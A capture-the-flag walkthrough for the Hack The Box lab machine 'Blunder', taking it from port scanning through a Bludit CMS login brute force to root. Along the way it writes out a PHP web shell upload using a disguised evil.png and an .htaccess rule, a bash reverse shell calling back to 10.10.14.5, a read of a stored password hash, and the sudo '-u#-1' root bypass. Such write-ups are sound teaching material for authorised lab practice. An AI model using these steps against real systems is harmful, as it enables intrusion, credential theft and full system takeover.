Blunder

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.191 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,80 10.10.10.191 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website.

Not much going on. Now, let's try to enumerate subdirectories with gobuster.

gobuster dir -u http://10.10.10.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x php,txt

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

  • -x add the following extensions.

If we take a look at the todo.txt file, we'll see some potential user called fergus.

On the other hand, if we take a look at the /admin directory, we'll see an admin login panel for the Bludit CMS.

Exploitation

Let's try to look for common exploit of Bludit with searchsploit.

searchsploit bludit

There is one called Auth Bruteforce Bypass which seems to allow us to brute force the login panel. Let's move it to the current directory.

searchsploit -m php/webapps/48942.py

The script needs a file of users, and a file of passwords. First, let's create a file called user with the fergus user in it.

echo "fergus" > user

Now, we need a file with passwords. We could use the cewl tool, which will create a dictionary of words based on the website.

cewl -w passwords http://10.10.10.191 --with-numbers

  • -w write the output to a file.

  • --with-numbers accept words with numbers.

Finally, we can run the python exploit indicating the URL of the login panel, the user file, and the passwords file.

python 48942.py -l http://10.10.10.191/admin/login.php -u user -p passwords

  • -l URL of the login panel.

  • -u file with users.

  • -p file with passwords.

And we get some valid credentials, let's try them.

And we get in.

If we take a look at the common exploits again, we'll see that there is one called Directory Traversal, let's move it to the current directory, and rename it with the .py extension.

searchsploit -m multiple/webapps/48701.txt

mv 48701.txt exploit.py

Before executing it, we'll have to modify it a bit. We'll have to change the url, username and password variables to the valid credentials.

Now, we'll have to create a file called evil.png with some PHP code that will allow us to execute commands on the victim machine.

nano evil.png

Then, let's execute the following commands that will create the .htaccess file with some configuration that will allow us to execute the evil.png as a PHP file.

echo "RewriteEngine off" > .htaccess

echo "AddType application/x-httpd-php .png" >> .htaccess

Finally, we could execute the exploit.

python exploit.py

If now we access the following URL, we'll be able to execute commands on the victim machine.

http://10.10.10.191/bl-content/tmp/temp/evil.png?cmd=whoami

Time to get a shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If now we access the following URL, we'll get a reverse shell as the www-data user.

http://10.10.10.191/bl-content/tmp/temp/evil.png?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.5/4444 0>%261"

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's enumerate the system users.

grep sh /etc/passwd

At this point, I started enumerating the machine, and I found the /var/www/bludit-3.10.0a/bl-content/databases/users.php config file with a password hash for the hugo user.

cat /var/www/bludit-3.10.0a/bl-content/databases/users.php

Let's make use of rainbow tables and try to find out the password.

CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.

https://crackstation.net/

Now we could become the hugo user, and grab the user flag.

su hugo

If we list the sudo privileges of the hugo user, we'll see that we can get a shell as any user, except the root user.

sudo -l

But, if we check the sudo version, we'll see that it is a vulnerable version.

sudo --version

As this CVE explains, we could bypass this rule. All we have to do is execute the following command, get a shell as root, and reap the harvest and take the root flag.

sudo -u#-1 /bin/bash

Last updated

Was this helpful?